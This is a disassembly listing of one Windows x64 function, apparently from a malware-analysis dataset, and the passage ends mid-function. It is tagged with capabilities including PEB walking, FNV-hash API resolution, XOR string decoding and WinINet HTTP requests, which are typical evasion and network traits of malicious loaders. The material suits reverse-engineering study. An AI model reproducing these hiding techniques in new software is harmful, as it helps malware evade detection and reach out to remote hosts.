Function at 0x1400968e0
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x14e0]
mov eax, 0x15e0
call fcn.14009aa40
sub rsp, rax
mov rax, qword [0x1402a2cf8]
xor rax, rsp
mov qword [rbp + 0x14d0], rax
mov rbx, r8
mov qword [rsp + 0x48], rbx
mov r12, rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x50], rcx
mov qword [rbp + 0x60], rcx
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rbx
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x80], rax
movabs r13, 0x23b70c6067e4b060
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r13
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x80], xmm0
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [rbp + 0x80]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 0x60], rax
test rax, rax
jne 0x140096ee9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov edi, 0xffffffff
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140096a36
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140096a36
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140096a31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140096a10
cmp r8d, 0x23a979e4
je 0x140096a3b
test r9d, r9d
jne 0x1400969f0
mov rax, qword [rax]
jmp 0x1400969c0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r12d, dword [rcx + rax*4]
add r12, r10
movabs rax, 0xd84bac253dfbf221
mov qword [rbp + 0x20], rax
movabs rax, 0x73f8422d2baffa29
mov qword [rbp + 0x28], rax
movabs rax, 0x3429c035d253e231
mov qword [rbp + 0x30], rax
movabs rax, 0x72e54c032fadea39
mov qword [rbp + 0x38], rax
movabs rax, 0xcb7a6e0bb4a1d807
mov qword [rbp + 0x40], rax
movabs rax, 0x4eb45013be85c00f
mov qword [rbp + 0x48], rax
movabs rax, 0xb5bb9c519169c817
mov qword [rbp + 0x50], rax
movabs rax, 0xc75910591e2b8655
mov qword [rbp + 0x58], rax
movabs rcx, 0x900cea6079b8b060
mov qword [rbp + 0x1450], rcx
mov qword [rbp + 0x1458], r13
movabs r13, 0x6c7e96608600b060
mov qword [rbp + 0x1460], r13
movabs rsi, 0x148028604dccb060
mov qword [rbp + 0x1468], rsi
movabs rax, 0xa5170260dec8b060
mov qword [rbp + 0x1470], rax
movabs rax, 0x38c12460ccf4b060
mov qword [rbp + 0x1478], rax
movabs rax, 0x8188ae60eb10b060
mov qword [rbp + 0x1480], rax
movabs rax, 0xc7592060261cb060
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x1450]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp + 0x1460]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x50], xmm1
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r15b
lea rax, [rbp + 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140096bb0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.14000c110
nop
call fcn.140099df4
mov ecx, eax
mov dword [rbp + 0x1424], edi
mov dword [rbp + 0xa4], eax
nop word [rax + rax]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, r14d
mov dword [rbp + r14*4 + 0xa4], ecx
inc r14
cmp r14, 0x270
jb 0x140096be0
mov dword [rbp + 0xa0], 0x270
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
add rdx, qword [rbp - 0x50]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov eax, 0x40
mov rcx, rbx
dec rax
shr rcx, 1
cmp rcx, rdi
ja 0x140096c44
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rcx
lea r8, [rbp + 0x80]
mov rcx, r9
call fcn.140094740
xor r14d, r14d
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r14b
mov edi, 0x10
cmp qword [rbp - 0x50], rdi
cmovb rdi, qword [rbp - 0x50]
lea r15, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r15, qword [rbp - 0x60]
cmp rdi, 0xf
ja 0x140096cc2
mov qword [rbp - 0x70], rdi
mov r8, rdi
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.1400b76e0
mov byte [rbp + rdi - 0x80], r14b
jmp 0x140096d6d
movabs rsi, 0x7fffffffffffffff
cmp rdi, rsi
ja 0x140098750
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x140096d07
movabs rcx, 0x8000000000000027
call fcn.14009a9e0
test rax, rax
je 0x140098756
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140096d41
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rax, [rsi + 1]
cmp rax, 0x1000
jb 0x140096d31
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x14009873e
jmp 0x140096ceb
test rax, rax
je 0x140096d41
mov rcx, rax
call fcn.14009a9e0
mov r14, rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rsi
mov r8, rdi
mov rdx, r15
mov rcx, r14
call fcn.1400b76e0
mov byte [r14 + rdi], 0
mov qword [rbp - 0x80], r14
movabs rsi, 0x148028604dccb060
xor r14d, r14d
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140096da8
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140096da3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009875c
call fcn.14009aa1c
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r8, qword [rbp - 0x80]
movabs rax, 0xf32c9e0f17d6d123
mov qword [rbp - 0x20], rax
movabs rax, 0x57977803028ade0f
mov qword [rbp - 0x18], rax
movabs rax, 0x1e1be012e373900f
mov qword [rbp - 0x10], rax
movabs rax, 0x148028604dccb04e
mov qword [rbp - 8], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x1430], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x1438], rax
mov qword [rbp + 0x1440], r13
mov qword [rbp + 0x1448], rsi
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x1430]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x1440]
movdqa xmmword [rbp - 0x10], xmm1
mov r9d, 0x1010
lea rdx, [rbp - 0x20]
xor ecx, ecx
call r12
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140096e9d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140096e98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098762
call fcn.14009aa1c
mov rdi, qword [rsp + 0x50]
mov qword [rdi], r14
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140096eb4
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.14000c110
nop
mov rcx, qword [rsp + 0x40]
call fcn.1400096e0
nop
mov rcx, qword [rsp + 0x48]
call fcn.1400096e0
mov rax, rdi
jmp 0x14009870e
xor ecx, ecx
mov qword [rbp - 0x60], rcx
mov esi, ecx
mov qword [rbp - 0x50], rcx
mov edi, 7
mov qword [rbp - 0x48], rdi
mov word [rbp - 0x60], cx
mov r13d, ecx
movabs rdx, 0x7ffffffffffffffe
cmp qword [r12 + 0x10], r13
jbe 0x140097074
mov r15d, ecx
mov qword [rsp + 0x58], rcx
mov rax, r12
cmp qword [r12 + 0x18], 0x10
jb 0x140096f31
mov rax, qword [r12]
movsx r15d, byte [rax + r15]
cmp rsi, rdi
jae 0x140096f5f
lea rax, [rsi + 1]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdi, 8
cmovae rax, qword [rbp - 0x60]
mov word [rax + rsi*2], r15w
mov word [rax + rsi*2 + 2], cx
jmp 0x140097048
mov rax, rdx
sub rax, rsi
cmp rax, 1
jb 0x140098768
lea r12, [rsi + 1]
mov rbx, r12
or rbx, 7
cmp rbx, rdx
jbe 0x140096f84
mov rbx, rdx
jmp 0x140096fa5
mov rcx, rdi
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x140096f9a
mov rbx, rdx
jmp 0x140096fa5
lea rax, [rdi + rcx]
cmp rbx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x60]
call fcn.1400099e0
mov r14, rax
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rbx
add rsi, rsi
mov r8, rsi
mov rcx, rax
cmp rdi, 8
jb 0x14009701f
mov rbx, qword [rbp - 0x60]
mov rdx, rbx
call fcn.1400b76e0
mov word [r14 + rsi], r15w
xor r15d, r15d
mov word [r14 + rsi + 2], r15w
lea rdx, [rdi*2 + 2]
cmp rdx, 0x1000
jb 0x140097013
add rdx, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x140098792
mov rbx, rcx
mov rcx, rbx
call fcn.14009aa1c
xor ecx, ecx
jmp 0x140097035
lea rdx, [rbp - 0x60]
call fcn.1400b76e0
mov word [r14 + rsi], r15w
xor ecx, ecx
mov word [r14 + rsi + 2], cx
movabs rdx, 0x7ffffffffffffffe
mov r12, qword [rsp + 0x40]
mov qword [rbp - 0x60], r14
inc r13d
mov r15, qword [rsp + 0x58]
inc r15
mov qword [rsp + 0x58], r15
movsxd rax, r13d
mov rdi, qword [rbp - 0x48]
cmp rax, qword [r12 + 0x10]
jae 0x14009706f
mov rsi, qword [rbp - 0x50]
jmp 0x140096f22
mov rbx, qword [rsp + 0x48]
lea r14, [rbp - 0x60]
cmp rdi, 8
cmovae r14, qword [rbp - 0x60]
mov qword [rsp + 0x60], r14
mov qword [rbp - 0x40], rcx
mov rsi, rcx
mov qword [rbp - 0x30], rcx
mov edi, 7
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x40], cx
mov r13d, ecx
cmp qword [rbx + 0x10], 0
jbe 0x140097208
mov r15, rcx
mov qword [rsp + 0x58], rcx
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400970c1
mov rax, qword [rbx]
movsx r15d, byte [rax + r15]
cmp rsi, rdi
jae 0x1400970ef
lea rax, [rsi + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp rdi, 8
cmovae rax, qword [rbp - 0x40]
mov word [rax + rsi*2], r15w
mov word [rax + rsi*2 + 2], cx
jmp 0x1400971ce
mov rax, rdx
sub rax, rsi
cmp rax, 1
jb 0x140098774
lea r12, [rsi + 1]
mov rbx, r12
or rbx, 7
cmp rbx, rdx
jbe 0x140097114
mov rbx, rdx
jmp 0x140097135
mov rcx, rdi
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x14009712a
mov rbx, rdx
jmp 0x140097135
lea rax, [rdi + rcx]
cmp rbx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x40]
call fcn.1400099e0
mov r14, rax
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rbx
add rsi, rsi
mov r8, rsi
mov rcx, rax
cmp rdi, 8
jb 0x1400971af
mov rbx, qword [rbp - 0x40]
mov rdx, rbx
call fcn.1400b76e0
mov word [r14 + rsi], r15w
xor r15d, r15d
mov word [r14 + rsi + 2], r15w
lea rdx, [rdi*2 + 2]
cmp rdx, 0x1000
jb 0x1400971a3
add rdx, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x14009876e
mov rbx, rcx
mov rcx, rbx
call fcn.14009aa1c
xor ecx, ecx
jmp 0x1400971c5
lea rdx, [rbp - 0x40]
call fcn.1400b76e0
mov word [r14 + rsi], r15w
xor ecx, ecx
mov word [r14 + rsi + 2], cx
mov rbx, qword [rsp + 0x48]
mov qword [rbp - 0x40], r14
inc r13d
mov r15, qword [rsp + 0x58]
inc r15
mov qword [rsp + 0x58], r15
movsxd rax, r13d
mov rdi, qword [rbp - 0x28]
cmp rax, qword [rbx + 0x10]
jae 0x1400971fe
mov rsi, qword [rbp - 0x30]
movabs rdx, 0x7ffffffffffffffe
jmp 0x1400970b4
mov r14, qword [rsp + 0x60]
mov r12, qword [rsp + 0x40]
lea r15, [rbp - 0x40]
cmp rdi, 8
cmovae r15, qword [rbp - 0x40]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov edi, 0xffffffff
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x1400972a6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400972a6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400972a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140097280
cmp r8d, 0xae1ecf1f
je 0x1400972ab
test r9d, r9d
jne 0x140097260
mov rax, qword [rax]
jmp 0x140097230
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, 0x50
xor r13d, r13d
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rdx, r14
mov rcx, qword [rbp + 0x60]
call r10
mov r14, rax
test rax, rax
jne 0x1400978c3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140097386
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140097386
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140097381
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140097360
cmp r8d, 0x23a979e4
je 0x14009738b
test r9d, r9d
jne 0x140097340
mov rax, qword [rax]
jmp 0x140097310
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r12d, dword [rcx + rax*4]
add r12, r10
movabs rax, 0xd84bac253dfbf221
mov qword [rbp + 0x20], rax
movabs rax, 0x73f8422d2baffa29
mov qword [rbp + 0x28], rax
movabs rax, 0x3429c035d253e231
mov qword [rbp + 0x30], rax
movabs rax, 0x72e54c032fadea39
mov qword [rbp + 0x38], rax
movabs rax, 0xcb7a6e0bb4a1d807
mov qword [rbp + 0x40], rax
movabs rax, 0x4eb45013be85c00f
mov qword [rbp + 0x48], rax
movabs rax, 0xb5bb9c519169c817
mov qword [rbp + 0x50], rax
movabs rax, 0xc75910591e2b8655
mov qword [rbp + 0x58], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x1450], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x1458], rax
movabs r13, 0x6c7e96608600b060
mov qword [rbp + 0x1460], r13
movabs rsi, 0x148028604dccb060
mov qword [rbp + 0x1468], rsi
movabs rax, 0xa5170260dec8b060
mov qword [rbp + 0x1470], rax
movabs rax, 0x38c12460ccf4b060
mov qword [rbp + 0x1478], rax
movabs rax, 0x8188ae60eb10b060
mov qword [rbp + 0x1480], rax
movabs rax, 0xc7592060261cb060
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x1450]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp + 0x1460]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x50], xmm1
xor r14d, r14d
mov qword [rbp], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r14b
lea rax, [rbp + 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140097510
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.14000c110
nop
call fcn.140099df4
mov dword [rbp + 0x1424], edi
mov dword [rbp + 0xa4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xa4], eax
inc rdx
cmp rdx, 0x270
jb 0x140097540
mov dword [rbp + 0xa0], 0x270
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
add rdx, qword [rbp + 0x10]
lea r9, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r9, qword [rbp]
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x60], rax
mov eax, 0x40
mov r8, rbx
nop
dec rax
shr r8, 1
cmp r8, rdi
ja 0x1400975a0
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], r8
lea r8, [rbp + 0x60]
mov rcx, r9
call fcn.140094740
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov edi, 0x10
cmp qword [rbp + 0x10], rdi
cmovb rdi, qword [rbp + 0x10]
lea r15, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r15, qword [rbp]
cmp rdi, 0xf
ja 0x140097612
mov qword [rbp - 0x70], rdi
mov r8, rdi
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.1400b76e0
mov byte [rbp + rdi - 0x80], 0
jmp 0x1400976bd
movabs rsi, 0x7fffffffffffffff
cmp rdi, rsi
ja 0x14009877a
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x140097657
movabs rcx, 0x8000000000000027
call fcn.14009a9e0
test rax, rax
je 0x140098780
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140097691
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rax, [rsi + 1]
cmp rax, 0x1000
jb 0x140097681
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x140098744
jmp 0x14009763b
test rax, rax
je 0x140097691
mov rcx, rax
call fcn.14009a9e0
mov r14, rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rsi
mov r8, rdi
mov rdx, r15
mov rcx, r14
call fcn.1400b76e0
mov byte [r14 + rdi], 0
mov qword [rbp - 0x80], r14
movabs rsi, 0x148028604dccb060
xor r14d, r14d
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400976f8
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400976f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098786
call fcn.14009aa1c
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r8, qword [rbp - 0x80]
movabs rax, 0xf57fca1216cac225
mov qword [rbp - 0x20], rax
movabs rax, 0x46da2c07098dd40e
mov qword [rbp - 0x18], rax
movabs rax, 0x30ab605e161c313
mov qword [rbp - 0x10], rax
movabs rax, 0x14f24d163fa9c340
mov qword [rbp - 8], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x1430], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x1438], rax
mov qword [rbp + 0x1440], r13
mov qword [rbp + 0x1448], rsi
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x1430]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x1440]
movdqa xmmword [rbp - 0x10], xmm1
mov r9d, 0x1010
lea rdx, [rbp - 0x20]
xor ecx, ecx
call r12
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400977ed
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400977e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009878c
call fcn.14009aa1c
mov rdi, qword [rsp + 0x50]
mov qword [rdi], r14
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140097804
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.14000c110
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14009785c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097857
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098792
call fcn.14009aa1c
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r14w
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x1400978ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400978a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098798
call fcn.14009aa1c
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r14w
jmp 0x140096ecc
lea rax, [rbp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140097966
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140097966
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140097961
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140097940
cmp r8d, 0x78004e3b
je 0x14009796b
test r9d, r9d
jne 0x140097920
mov rax, qword [rax]
jmp 0x1400978f0
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movabs rax, 0x9058ea3379f7b030
mov qword [rbp + 0x60], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x68], rax
movabs rcx, 0x900cea6079b8b060
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, r15
lea rdx, [rbp + 0x60]
mov rcx, r14
call r10
mov r15, rax
test rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140097f50
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140097a86
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140097a86
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140097a81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140097a60
cmp r8d, 0x23a979e4
je 0x140097a8b
test r9d, r9d
jne 0x140097a40
mov rax, qword [rax]
jmp 0x140097a10
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov esi, dword [rcx + rax*4]
add rsi, r10
movabs rax, 0xd84bac253dfbf221
mov qword [rbp + 0x1450], rax
movabs rax, 0x73f8422d2baffa29
mov qword [rbp + 0x1458], rax
movabs rax, 0x3429c035d253e231
mov qword [rbp + 0x1460], rax
movabs rax, 0x72e54c032fadea39
mov qword [rbp + 0x1468], rax
movabs rax, 0xcb7a6e0bb4a1d807
mov qword [rbp + 0x1470], rax
movabs rax, 0x4eb45013be85c00f
mov qword [rbp + 0x1478], rax
movabs rax, 0xb5bb9c519169c817
mov qword [rbp + 0x1480], rax
movabs rax, 0xc75910591e2b8655
mov qword [rbp + 0x1488], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x1490], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x1498], rax
movabs r13, 0x6c7e96608600b060
mov qword [rbp + 0x14a0], r13
movabs r14, 0x148028604dccb060
mov qword [rbp + 0x14a8], r14
movabs rax, 0xa5170260dec8b060
mov qword [rbp + 0x14b0], rax
movabs rax, 0x38c12460ccf4b060
mov qword [rbp + 0x14b8], rax
movabs rax, 0x8188ae60eb10b060
mov qword [rbp + 0x14c0], rax
movabs rax, 0xc7592060261cb060
mov qword [rbp + 0x14c8], rax
movdqa xmm0, xmmword [rbp + 0x1450]
pxor xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0x1450], xmm0
movdqa xmm1, xmmword [rbp + 0x1460]
pxor xmm1, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x1460], xmm1
movdqa xmm0, xmmword [rbp + 0x1470]
